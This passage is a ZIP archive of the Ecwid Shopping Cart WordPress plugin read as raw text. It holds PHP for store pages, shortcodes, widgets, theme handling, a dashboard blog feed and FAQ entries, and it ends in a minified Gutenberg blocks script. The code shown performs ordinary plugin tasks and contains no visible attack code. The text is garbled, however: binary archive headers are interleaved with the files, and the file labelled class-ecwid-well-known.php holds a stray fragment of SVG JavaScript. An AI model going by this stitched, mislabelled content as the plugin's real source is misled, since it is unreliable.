PHP_URL_HOST ); if ( !$is_empty && !$is_generated_url && !$is_same_domain ) { return; } $params = array( 'generalInfo' => array( 'storeUrl' => $store_url ) ); $result = $api->update_store_profile( $params ); if ( $result ) { EcwidPlatform::cache_reset( Ecwid_Api_V3::PROFILE_CACHE_NAME ); } } } add_action( 'init', array( 'Ecwid_Store_Page', 'flush_rewrites' ) ); add_action( 'save_post', array( 'Ecwid_Store_Page', 'on_save_post' ) ); add_action( 'wp_ajax_' . Ecwid_Store_Page::WARMUP_ACTION, array( 'Ecwid_Store_Page', 'warmup_store' ) ); add_action( 'update_option_page_on_front', array( 'Ecwid_Store_Page', 'schedule_flush_rewrites' ) ); add_action( 'display_post_states', array( 'Ecwid_Store_Page', 'display_post_states'), 10, 2 ); add_action( 'wp_enqueue_scripts', array( 'Ecwid_Store_Page', 'enqueue_original_page_title' ) ); add_filter( 'the_title', array( 'Ecwid_Store_Page', 'the_title' ) ); PK������Ê—[2×É����:��ecwid-shopping-cart/includes/class-ecwid-stub-renderer.phpnu�„[µü¤��������<?php abstract class Ecwid_Stub_Renderer { public function __construct() { if ( $this->_should_apply() ) { add_filter( 'ecwid_shortcode_custom_renderer', array( $this, 'get_custom_renderer' ), 10, 2 ); add_filter( 'ecwid_get_custom_widget_renderer', array( $this, 'get_custom_widget_renderer' ), 10, 3 ); add_filter( 'ecwid_inline_js_config', array( $this, 'filter_inline_js_config' ), 10000 ); add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); } } public function get_custom_renderer() { return array( $this, 'render_shortcode' ); } public function get_custom_widget_renderer() { return array( $this, 'render_widget' ); } public function render_shortcode( $args ) { if ( $args instanceof Ecwid_Shortcode_Product ) { ob_start(); $message = __( 'Product', 'ecwid-shopping-cart' ); require ECWID_TEMPLATES_DIR . '/shortcode-stub.tpl.php'; $contents = ob_get_contents(); ob_end_clean(); return $contents; } else if ( is_array( $args ) ) { ob_start(); $message = __( 'Your store will be shown here', 'ecwid-shopping-cart' ); require ECWID_TEMPLATES_DIR . '/shortcode-stub.tpl.php'; $contents = ob_get_contents(); ob_end_clean(); return $contents; } return false; } public function render_widget( $widget, $args, $instance ) { if ( is_array( $args ) ) { ob_start(); if ( $widget instanceof Ecwid_Widget_Product_Browser ) { $message = $widget->widget_options['description']; } else { $message = $widget->name; } $classname = $widget->widget_options['classname']; require ECWID_TEMPLATES_DIR . '/widget-stub.tpl.php'; $contents = ob_get_contents(); ob_end_clean(); return $contents; } return false; } abstract protected function _should_apply(); public function enqueue_scripts() { EcwidPlatform::enqueue_style( 'shortcode-stub' ); EcwidPlatform::enqueue_style( 'widget-stub' ); } public function filter_inline_js_config( $js ) { if ( $this->_should_apply() ) { return ""; } return $js; } }PK������Ê—[BáìI �� ��7��ecwid-shopping-cart/includes/class-ecwid-well-known.phpnu�„[µü¤��������height:"24",viewBox:"0 0 24 24"},wp.element.createElement("path",{fill:"none",stroke:"currentColor","stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M4.5638852 2L7.4361148 2C8.32763354 2 8.65091978 2.09282561 8.9768457 2.2671327 9.30277163 2.4414398 9.5585602 2.69722837 9.7328673 3.0231543 9.90717439 3.34908022 10 3.67236646 10 4.5638852L10 7.4361148C10 8.32763354 9.90717439 8.65091978 9.7328673 8.9768457 9.5585602 9.30277163 9.30277163 9.5585602 8.9768457 9.7328673 8.65091978 9.90717439 8.32763354 10 7.4361148 10L4.5638852 10C3.67236646 10 3.34908022 9.90717439 3.0231543 9.7328673 2.69722837 9.5585602 2.4414398 9.30277163 2.2671327 8.9768457 2.09282561 8.65091978 2 8.32763354 2 7.4361148L2 4.5638852C2 3.67236646 2.09282561 3.34908022 2.2671327 3.0231543 2.4414398 2.69722837 2.69722837 2.4414398 3.0231543 2.2671327 3.34908022 2.09282561 3.67236646 2 4.5638852 2zM4.5638852 14L7.4361148 14C8.32763354 14 8.65091978 14.0928256 8.9768457 14.2671327 9.30277163 14.4414398 9.5585602 14.6972284 9.7328673 15.0231543 9.90717439 15.3490802 10 15.6723665 10 16.5638852L10 19.4361148C10 20.3276335 9.90717439 20.6509198 9.7328673 20.9768457 9.5585602 21.3027716 9.30277163 21.5585602 8.9768457 21.7328673 8.65091978 21.9071744 8.32763354 22 7.4361148 22L4.5638852 22C3.67236646 22 3.34908022 21.9071744 3.0231543 21.7328673 2.69722837 21.5585602 2.4414398 21.3027716 2.2671327 20.9768457 2.09282561 20.6509198 2 20.3276335 2 19.4361148L2 16.5638852C2 15.6723665 2.09282561 15.3490802 2.2671327 15.0231543 2.4414398 14.6972284 2.69722837 14.4414398 3.0231543 14.2671327 3.34908022 14.0928256 3.67236646 14 4.5638852 14zM16.5638852 2L19.4361148 2C20.3276335 2 20.6509198 2.09282561 20.9768457 2.2671327 21.3027716 2.4414398 21.5585602 2.69722837 21.7328673 3.0231543 21.9071744 3.34908022 22 3.67236646 22 4.5638852L22 7.4361148C22 8.32763354 21.9071744 8.65091978 21.7328673 8.9768457 21.5585602 9.30277163 21.3027716 9.5585602 20.9768457 9.7328673 20.6509198 9.90717439 20.3276335 10 19.4361148 10L16.5638852 10C15.6723665 10 15.3490802 9.90717439 15.0231543 9.7328673 14.6972284 9.5585602 14.4414398 9.30277163 14.2671327 8.9768457 14.0928256 8.65091978 14 8.32763354 14 7.4361148L14 4.5638852C14 3.67236646 14.0928256 3.34908022 14.2671327 3.0231543 14.4414398 2.69722837 14.6972284 2.4414398 15.0231543 2.2671327 15.3490802 2.09282561 15.6723665 2 16.5638852 2zM16.5638852 14L19.4361148 14C20.3276335 14 20.6509198 14.0928256 20.9768457 14.2671327 21.3027716 14.4414398 21.5585602 14.6972284 21.7328673 15.0231543 21.9071744 15.3490802 22 15.6723665 22 16.5638852L22 19.4361148C22 20.3276335 21.9071744 20.6509198 21.7328673 20.9768457 21.5585602 21.3027716 21.3027716 21.5585602 20.9768457 21.7328673 20.6509198 21.9071744 20.3276335 22 19.4361148 22L16.5638852 22C15.6723665 22 15.3490802 21.9071744 15.0231543 21.7328673 14.6972284 21.5585602 14.4414398 21.3027716 14.2671327 20.9768457 14.0928256 20.6509198 14 20.3276335 14 19.4361148L14 16.5638852C14 15.6723665 14.0928256 15.3490802 14.2671327 15.0231543 14.4414398 14.6972284 14.6972284 14.4414398 15.0231543 PK������Ê—[O[˜ù ��ù ��>��ecwid-shopping-cart/includes/class-ecwid-wp-dashboard-feed.phpnu�„[µü¤��������<?php class Ecwid_WP_Dashboard_Feed { const CACHE_POSTS = 'wp-dashboard-blog-posts'; const ACTION_AJAX_SAVE = 'ecwid-save-posts'; const PARAM_LAST_ECWID_ADMIN_PREFETCH_TIME = 'last-admin-prefetch-time'; public function __construct() { if ( Ecwid_Config::is_wl() ) { return; } add_action( 'wp_dashboard_setup', array( $this, 'dashboard_setup' ) ); add_action( 'wp_ajax_' . self::ACTION_AJAX_SAVE, array( $this, 'ajax_save_posts' ) ); } public function dashboard_setup() { $url = 'https://www.ecwid.com/wp-json/wp/v2/posts?per_page=3&categories=1'; $media_url = 'https://www.ecwid.com/wp-json/wp/v2/media/'; $images_cdn = 'https://web-cdn.ecwid.com/wp-content/uploads/'; $lang = ecwid_get_current_user_locale(); if ( $lang == 'ru_RU' ) { $url = 'https://www.ecwid.ru/wp-json/wp/v2/posts?per_page=3&categories=1'; $media_url = 'https://www.ecwid.ru/wp-json/wp/v2/media/'; $images_cdn = 'https://web-cdn.ecwid.com/wp-content/uploads/ru/'; } wp_enqueue_style( 'ecwid-dashboard-blog', ECWID_PLUGIN_URL . '/css/dashboard-blog.css', array( ), get_option('ecwid_plugin_version') ); wp_enqueue_script( 'ecwid-dashboard-blog', ECWID_PLUGIN_URL . '/js/dashboard-blog.js', array( 'jquery' ), get_option('ecwid_plugin_version') ); wp_localize_script( 'ecwid-dashboard-blog', 'ecwidDashboardBlog', array( 'posts' => EcwidPlatform::cache_get( $this->_get_cache_name() ), 'url' => $url, 'mediaUrl' => $media_url, 'imagesCDN' => $images_cdn, 'saveAction' => self::ACTION_AJAX_SAVE ) ); wp_add_dashboard_widget( 'ecwid_blog_feed', sprintf( __( '%s Blog', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ), array( $this, 'display' ) ); } public function ajax_save_posts() { if ( !current_user_can( Ecwid_Admin::get_capability() ) ) { die(); } EcwidPlatform::cache_set( $this->_get_cache_name(), $_POST['posts'], 12 * HOUR_IN_SECONDS ); header( 'HTTP/1.0 200 OK' ); die(); } protected function _get_cache_name() { $name = self::CACHE_POSTS; $name .= '-' . ecwid_get_current_user_locale(); return $name; } public function display() { require_once ECWID_PLUGIN_DIR . '/templates/dashboard-blog-posts.tpl.php'; if ( EcwidPlatform::get( self::PARAM_LAST_ECWID_ADMIN_PREFETCH_TIME ) > time() + HOUR_IN_SECONDS * 12 ) { $dashboard_url = ecwid_get_iframe_src( time(), 'dashboard' ); echo <<<HTML <div style="display:none"> <iframe id="ecwid-prefetch" src=""></iframe> <script type="text/javascript"> jQuery(document).ready(function() { jQuery('#ecwid-prefetch').attr('src', '$dashboard_url'); }); </script> </div> HTML; EcwidPlatform::set( self::PARAM_LAST_ECWID_ADMIN_PREFETCH_TIME, time() ); } } } $ecwid_wp_dashboard_feed = new Ecwid_WP_Dashboard_Feed();PK������Ê—[2{#��#��,��ecwid-shopping-cart/includes/faq_entries.phpnu�„[µü¤��������<?php $faqs = array( array( 'title' => __( 'How secure is this plugin? Is my store PCI DSS compliant?', 'ecwid-shopping-cart' ), 'body' => __( 'Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won\'t have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>', 'ecwid-shopping-cart' ), 'priority' => 'newbie_with_woo' ), array( 'title' => __( 'How can I manage my store from a mobile device?', 'ecwid-shopping-cart' ), 'body' => __( 'Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>' , 'ecwid-shopping-cart' ), 'priority' => 'newbie_with_woo' ), array( 'title' => __( 'How to set up a storefront on Facebook with Ecwid?', 'ecwid-shopping-cart' ), 'body' => __( 'You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>' , 'ecwid-shopping-cart' ), 'priority' => 'newbie_with_woo' ), array( 'title' => __( 'How can I add a cart widget to my site sidebar?', 'ecwid-shopping-cart' ), 'body' => sprintf( __( 'You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>' , 'ecwid-shopping-cart' ), admin_url("widgets.php?from-ecwid=true") ) ), array( 'title' => __( 'How much does Ecwid cost?', 'ecwid-shopping-cart' ), 'body' => sprintf( __( 'Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.' , 'ecwid-shopping-cart' ), admin_url( 'admin.php?page=' . Ecwid_Admin::ADMIN_SLUG . '&ec-store-page=billing' ) ) ), array( 'title' => __( 'How do I add store categories to the site menu?', 'ecwid-shopping-cart' ), 'body' => __( 'You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.' , 'ecwid-shopping-cart' ) ), array( 'title' => __( 'How do I put my products in the sitemap?', 'ecwid-shopping-cart' ), 'body' => __( 'To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.', 'ecwid-shopping-cart' ) ), array( 'title' => __( 'How to add a single product with the add to bag button to the site pages?', 'ecwid-shopping-cart' ), 'body' => __( 'To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>' , 'ecwid-shopping-cart' ) ), array( 'title' => __( 'Is it possible to display my store on the site home page?', 'ecwid-shopping-cart' ), 'body' => __( 'You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>' , 'ecwid-shopping-cart' ) ), array( 'title' => __( 'Is there a WordPress theme for Ecwid?', 'ecwid-shopping-cart' ), 'body' => sprintf( __( 'Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>' , 'ecwid-shopping-cart' ), admin_url( 'admin.php?page=' . Ecwid_Admin::ADMIN_SLUG . '&ec-store-page=apps%3Aview%3Dapp%26name%3Dtemplatemonster-themes' ) ), 'priority' => 'guaranteed_3' ) );PK������Ê—[·˜Ñž£��£��'��ecwid-shopping-cart/includes/kliken.phpnu�„[µü¤��������<?php if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Google-Site-Verification' ) ) { add_action( 'wp_head', 'ecwid_add_kliken_code' ); function ecwid_add_kliken_code() { $api = new Ecwid_Api_V3(); $info = $api->get_starter_site_info(); if ( !$info || !isset( $info->customHeaderHtmlCode ) ) return; $pattern = "%" . "(<!--Kliken Google Site Verification Token Tag-->\s*" . "<meta name='google-site-verification' content='(.*)' />\s*" . "<!--Kliken Google Site Verification Token Tag-->)%s"; $matches = array(); if ( preg_match( $pattern, $info->customHeaderHtmlCode, $matches ) ) { echo $matches[1]; } } }PK������Ê—[‡”G~ ��~ ��'��ecwid-shopping-cart/includes/oembed.phpnu�„[µü¤��������<?php add_filter('embed_content', 'ecwid_oembed_content', 10, 1); function ecwid_oembed_content($data) { echo ecwid_get_embed_content(); } function ecwid_get_embed_content() { $html = ''; $root_category_id = 0; $post_content = get_post(get_the_ID())->post_content; $shortcodes = array(); foreach (Ecwid_Shortcode_Base::get_store_shortcode_names() as $shortcode_name) { $shortcodes = ecwid_find_shortcodes($post_content, $shortcode_name); if ($shortcodes) { break; } } if (!$shortcodes || !isset($shortcodes[0]) || !isset($shortcodes[0][3])) { return; } $attributes = $shortcodes[0][3]; if (!preg_match('/default_category_id=.([\\d]*)./', $attributes, $matches)) { return; } $root_category_id = 0; if (!is_numeric($matches[1])) { return; } else if (isset($matches[1])) { $root_category_id = $matches[1]; } $api = new Ecwid_Api_V3(); $categories = $api->get_categories(array('parent' => $root_category_id)); $max_items = 5; $items = array(); $see_more = false; $result = ''; if (!empty($categories->items)) { foreach ($categories->items as $category) { $category = Ecwid_Category::get_by_id( $category->id ); $items[$category->link] = $category->name; if (count($items) >= $max_items) { $see_more = true; break; } } } if (ecwid_is_paid_account()) { $api = new Ecwid_Api_V3(); $category = $api->get_category($root_category_id); if ($category) { $trimmed = ecwid_trim_description($category->description); $result .= '<div>' . ecwid_trim_description($category->description); $descr_length = function_exists( 'mb_strlen' ) ? mb_strlen( $category->description ) : strlen( $category->description ); $trimmed_length = function_exists( 'mb_strlen' ) ? mb_strlen( $trimmed ) : strlen( $trimmed ); if ( $trimmed_length < $descr_length && $trimmed_length == ECWID_TRIMMED_DESCRIPTION_LENGTH ) { $result .= '... <a class="wp-embed-more" href="' . get_permalink() . '">' . __('See more', 'ecwid-shopping-cart') . '</a>'; } $result .= '</div>'; } if (!$see_more) { $products = $api->search_products(array( 'category' => $root_category_id )); if ($products->items) { foreach ($products->items as $product) { $product = Ecwid_Product::get_by_id( $product->id ); $items[$product->link] = $product->name; if (count($items) >= $max_items) { $see_more = TRUE; break; } } } } } $result .= '<ul>'; if ($items) { foreach ($items as $url => $title) { $result .= '<li><a href="' . esc_attr($url) . '">' . esc_html($title) . '</a></li>'; } } if ($see_more) { $result .= '<li><a class="wp-embed-more" href="' . get_permalink() . '">' . __('See more', 'ecwid-shopping-cart') . '</a></li>'; } $result .= '</ul>'; return $result; } function _ecwid_find_category_in_horizontal_categories_tree($categories, $root_id) { foreach($categories as $category) { if ($category->id == $root_id) { return $category->sub; } if (!is_null($category->sub)) { $result = _ecwid_find_category_in_horizontal_categories_tree($category->sub, $root_id); if ($result !== false) { return $result; } } } return false; } PK������Ê—[Ay"n…��…��+��ecwid-shopping-cart/includes/shortcodes.phpnu�„[µü¤��������<?php include_once "shortcodes/class-ecwid-shortcode-productbrowser.php"; include_once "shortcodes/class-ecwid-shortcode-minicart.php"; include_once "shortcodes/class-ecwid-shortcode-search.php"; include_once "shortcodes/class-ecwid-shortcode-categories.php"; include_once "shortcodes/class-ecwid-shortcode-product.php"; add_shortcode('ecwid_productbrowser', 'ecwid_render_shortcode'); add_shortcode('ecwid_minicart', 'ecwid_render_shortcode'); add_shortcode('ecwid_search', 'ecwid_render_shortcode'); add_shortcode('ecwid_categories', 'ecwid_render_shortcode'); add_shortcode('ecwid_product', 'ecwid_render_shortcode'); add_shortcode('ecwid_searchbox', 'ecwid_searchbox_shortcode'); add_shortcode('ec_product', 'ecwid_render_shortcode'); function ecwid_render_shortcode($params, $content = '', $name) { $shortcode = Ecwid_Shortcode_Base::get_shortcode_object( $name, $params ); if ( $shortcode ) { return $shortcode->render( array( 'legacy' => true ) ); } } function ecwid_searchbox_shortcode($params, $content = '', $name) { $shortcode = new Ecwid_Shortcode_Search($params); return $shortcode->render( array( 'legacy' => true ) ); }PK������Ê—[s1e/����'��ecwid-shopping-cart/includes/themes.phpnu�„[µü¤��������<?php define( 'ECWID_THEMES_DIR', ECWID_PLUGIN_DIR . 'includes/themes' ); add_action('after_switch_theme', 'ecwid_after_switch_theme'); require ECWID_THEMES_DIR . '/class-ecwid-theme-base.php'; function ecwid_get_theme_name() { $version = get_bloginfo('version'); if (version_compare( $version, '3.4' ) < 0) { $theme_name = get_current_theme(); } else { $theme = wp_get_theme(); $theme_name = $theme->Name; } return $theme_name; } function ecwid_get_theme_identification() { $version = get_bloginfo('version'); if (version_compare( $version, '3.4' ) < 0) { $theme_name = get_template(); } else { $theme = wp_get_theme(); $theme_name = $theme->template; } return $theme_name; } function ecwid_apply_theme($theme_name = null) { $generic_themes = array( 'pixova-lite' => array( 'js', 'scroll' => 75 ), 'accesspress-mag' => array( 'css' ), 'attitude' => array( 'css-no-parent' ), 'customizr' => array( 'js', 'css-no-parent', Ecwid_Theme_Base::PROP_USE_JS_API_FOR_CATS_NAV_MENU ), 'edin' => array( 'js' ), 'evolve' => array( 'css-no-parent' ), 'mantra' => array( 'css-no-parent' ), 'pageline' => array( 'scroll' => 60 ), 'responsiveboat' => array( 'css' ), 'twentyfourteen' => array( 'css', 'scroll' => 0, Ecwid_Theme_Base::PROP_USE_JS_API_FOR_CATS_NAV_MENU ), 'twentytwelve' => array( 'js' ), 'sliding-door' => array( 'css-no-parent' ), 'zerif-lite' => array( 'css-no-parent' ), 'storefront' => array( 'css' ), 'salient' => array( 'css-no-parent'), 'flora' => array( 'historyjs_html4mode' ), 'thevoux-wp' => array( 'historyjs_html4mode' ), 'zerogravity' => array( 'css' ), 'skt-design-agency-pro' => array( 'css-no-parent' ), 'uncode' => array( 'css-no-parent' ), 'ribosome' => array( 'css' ), 'optimizepress' => array( 'css' ), 'edge' => array( 'js', 'scroll' => 50 ), 'newsmag' => array( 'css-no-parent'), 'optimizer' => array( 'css' ), 'businesso' => array( 'css' ), 'flatsome' => array( Ecwid_Theme_Base::PROP_USE_JS_API_FOR_CATS_NAV_MENU ), 'themify-music' => array( Ecwid_Theme_Base::PROP_AJAX_DEFER_RENDERING ), 'bridge' => array( Ecwid_Theme_Base::PROP_AJAX_DEFER_RENDERING ), 'Parallax-One' => array( 'css' ) ); $generic_themes = apply_filters('ecwid_generic_themes', $generic_themes); $custom_themes = array( 'bretheon', 'responsive', 'envision', 'twentyfifteen', 'genesis', 'twentysixteen', 'central', 'mfupdate', 'trend', 'Boundless', 'twentyseventeen', 'themify-music', 'Avada', 'twentynineteen', 'woodiex', 'enfold', 'vantage', 'zenlife', 'Divi' ); $custom_themes = apply_filters( 'ecwid_custom_themes', $custom_themes ); if (empty($theme_name)) { $theme_name = ecwid_get_theme_identification(); } $theme_file = ''; if (function_exists('wp_get_theme') && wp_get_theme()->Name == 'ResponsiveBoat') { $theme_name = 'responsiveboat'; } if ($theme_name == 'evolve-plus') { $theme_name = 'evolve'; } if (!$theme_name) { return; } global $ecwid_current_theme; if ( in_array($theme_name, $custom_themes) ) { $theme_file = ECWID_THEMES_DIR . '/class-ecwid-theme-' . $theme_name . '.php'; $theme_file = apply_filters( 'ecwid_get_theme_file', $theme_file ); $theme_file = strtolower($theme_file); if ( !empty( $theme_file ) && is_file( $theme_file ) && is_readable( $theme_file ) ) { $ecwid_current_theme = require_once( $theme_file ); } } else if ( array_key_exists( $theme_name, $generic_themes ) ) { $ecwid_current_theme = Ecwid_Theme_Base::create( $theme_name, $generic_themes[$theme_name] ); } do_action( Ecwid_Theme_Base::ACTION_APPLY_THEME, $ecwid_current_theme ); } function ecwid_after_switch_theme() { ecwid_apply_theme(); } PK������Ê—[Ôºõä‚��‚��(��ecwid-shopping-cart/includes/widgets.phpnu�„[µü¤��������<?php include_once "widgets/class-ecwid-widget-badge.php"; include_once "widgets/class-ecwid-widget-minicart.php"; include_once "widgets/class-ecwid-widget-minicart-miniview.php"; include_once "widgets/class-ecwid-widget-floating-shopping-cart.php"; include_once "widgets/class-ecwid-widget-recently-viewed.php"; include_once "widgets/class-ecwid-widget-latest-products.php"; include_once "widgets/class-ecwid-widget-search.php"; include_once "widgets/class-ecwid-widget-store-link.php"; include_once "widgets/class-ecwid-widget-vertical-categories-list.php"; include_once "widgets/class-ecwid-widget-random-product.php"; include_once "widgets/class-ecwid-widget-nsf-minicart.php"; include_once "widgets/class-ecwid-widget-product-browser.php"; if (ecwid_migrations_is_original_plugin_version_older_than('4.3')) { include_once "widgets/class-ecwid-widget-vcategories.php"; } function ecwid_sidebar_widgets_init() { $disable_widgets = apply_filters('ecwid_disable_widgets', false); if ($disable_widgets) { return; } if ( !Ecwid_Config::is_wl() ) { register_widget('Ecwid_Widget_Badge'); } register_widget('Ecwid_Widget_Search'); if ( version_compare( get_bloginfo('version'), '4.0' ) >= 0 ) { register_widget('Ecwid_Widget_NSF_Minicart'); } $old_minicarts = array( 'ecwidminicart_miniview' => 'Ecwid_Widget_Minicart_Miniview', 'ecwidminicart' => 'Ecwid_Widget_Minicart', 'ecwidfloatingshoppingcart' => 'Ecwid_Widget_Floating_Shopping_Cart' ); foreach ( $old_minicarts as $idbase => $widget_class ) { if ( is_active_widget( false, false, $idbase ) || version_compare( get_bloginfo('version'), '4.0' ) < 0 ) { register_widget( $widget_class ); } } register_widget('Ecwid_Widget_Store_Link'); if ( Ecwid_Api_V3::is_available() ) { register_widget('Ecwid_Widget_Recently_Viewed'); register_widget('Ecwid_Widget_Latest_Products'); register_widget('Ecwid_Widget_Vertical_Categories_List'); register_widget('Ecwid_Widget_Random_Product'); } if (ecwid_migrations_is_original_plugin_version_older_than('4.3')) { register_widget('Ecwid_Widget_VCategories'); } } add_action('widgets_init', 'ecwid_sidebar_widgets_init');PK������Ê—[£,~Äì��Äì��0��ecwid-shopping-cart/js/gutenberg/blocks.build.jsnu�„[µü¤��������!function(e){function t(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)||Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=2)}([function(e,t,r){"use strict";r.d(t,"a",function(){return n});var n={ecwid:wp.element.createElement("svg",{version:"1.1",x:"0px",y:"0px",viewBox:"0 0 20 20","enable-background":"new 0 0 20 20"},wp.element.createElement("path",{fill:"#555d66",d:"M15.32,15.58c-0.37,0-0.66,0.3-0.66,0.67c0,0.37,0.3,0.67,0.66,0.67c0.37,0,0.67-0.3,0.67-0.67 C15.98,15.88,15.69,15.58,15.32,15.58z M15.45,0H4.55C2.04,0,0,2.04,0,4.55v10.91C0,17.97,2.04,20,4.55,20h10.91c2.51,0,4.55-2.04,4.55-4.55V4.55 C20,2.04,17.96,0,15.45,0z M12.97,4.94C13.54,4.94,14,5.4,14,5.96s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C11.95,5.4,12.41,4.94,12.97,4.94z M12.97,8.02c0.57,0,1.03,0.46,1.03,1.03c0,0.57-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C11.95,8.48,12.41,8.02,12.97,8.02z M9.98,4.94c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C8.95,5.4,9.41,4.94,9.98,4.94z M9.98,8.02c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C8.95,8.48,9.41,8.02,9.98,8.02z M7.03,4.94c0.57,0,1.03,0.46,1.03,1.03S7.6,6.99,7.03,6.99C6.46,6.99,6,6.53,6,5.96 C6,5.4,6.46,4.94,7.03,4.94z M7.03,8.02c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03C6.46,10.08,6,9.62,6,9.05 C6,8.48,6.46,8.02,7.03,8.02z M4.6,18.02c-1.02,0-1.86-0.83-1.86-1.86c0-1.03,0.83-1.86,1.86-1.86c1.03,0,1.86,0.83,1.86,1.86 C6.45,17.19,5.62,18.02,4.6,18.02z M15.32,18.1c-1.02,0-1.86-0.83-1.86-1.86c0-1.03,0.83-1.86,1.86-1.86c1.03,0,1.86,0.83,1.86,1.86 C17.17,17.27,16.34,18.1,15.32,18.1z M18.48,2.79l-1.92,7.14c-0.51,1.91-2.03,3.1-4,3.1H7.2c-1.91,0-3.26-1.09-3.84-2.91L1.73,5 C1.7,4.9,1.72,4.79,1.78,4.71c0.06-0.09,0.16-0.14,0.27-0.14l0.31,0c0.75,0,1.41,0.49,1.64,1.2l1.2,3.76 c0.32,1.02,1.26,1.7,2.33,1.7h4.81c1.1,0,2.08-0.74,2.36-1.81l1.55-5.78c0.2-0.75,0.89-1.28,1.67-1.28h0.24 c0.1,0,0.2,0.05,0.26,0.13C18.48,2.58,18.5,2.68,18.48,2.79z M4.6,15.5c-0.37,0-0.66,0.3-0.66,0.67c0,0.37,0.3,0.67,0.66,0.67c0.37,0,0.67-0.3,0.67-0.67 S4.96,15.5,4.6,15.5z"})),store:wp.element.createElement("svg",{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{id:"gutenberg-widgets-icons",transform:"translate(-234.000000, -324.000000)",fill:"#555D66","fill-rule":"nonzero"},wp.element.createElement("g",{id:"store-icon",transform:"translate(234.000000, 324.000000)"},wp.element.createElement("path",{d:"M9,20.4893188 L7,20.4893188 L7,14 C7,13.4477153 7.44771525,13 8,13 L16,13 C16.5522847,13 17,13.4477153 17,14 L17,20.4893188 C16.260376,20.4893188 15.5929565,20.4893188 15,20.4893188 L15,15 L9,15 L9,20.4893188 Z",id:"Rectangle-3"}),wp.element.createElement("path",{d:"M20,10 L22,10 L22,21.0006104 C22,21.5528951 21.5522847,22.0006104 21,22.0006104 L3,22.0006104 C2.44771525,22.0006104 2,21.5528951 2,21.0006104 L2,10 L4,10 L4,20.0006104 L20,20.0006104 L20,10 Z",id:"Rectangle-3"}),wp.element.createElement("path",{d:"M2,6.5 C2,7.88071187 3.11928813,9 4.5,9 C5.18185515,9 5.81786053,8.72707728 6.28575907,8.24959145 L7,7.52071565 L7.71424093,8.24959145 C8.18213947,8.72707728 8.81814485,9 9.5,9 C10.1818552,9 10.8178605,8.72707728 11.2857591,8.24959145 L12,7.52071565 L12.7142409,8.24959145 C13.1821395,8.72707728 13.8181448,9 14.5,9 C15.1818552,9 15.8178605,8.72707728 16.2857591,8.24959145 L17,7.52071565 L17.7142409,8.24959145 C18.1821395,8.72707728 18.8181448,9 19.5,9 C20.8807119,9 22,7.88071187 22,6.5 C22,5.81342077 21.7917279,4.97737648 21.3637104,4 L2.63518632,4 C2.20791709,4.97255801 2,5.80837301 2,6.5 Z M4.5,11 C2.01471863,11 4.4408921e-16,8.98528137 0,6.5 C0,5.33310646 0.374574518,4.02209564 1.10468286,2.55457075 L1.38058736,2 L22.6207487,2 L22.8961752,2.55629959 C23.6256977,4.02977127 24,5.33982925 24,6.5 C24,8.98528137 21.9852814,11 19.5,11 C18.5937006,11 17.7289225,10.73006 17,10.2422809 C16.2710775,10.73006 15.4062994,11 14.5,11 C13.5937006,11 12.7289225,10.73006 12,10.2422809 C11.2710775,10.73006 10.4062994,11 9.5,11 C8.59370056,11 7.72892246,10.73006 7,10.2422809 C6.27107754,10.73006 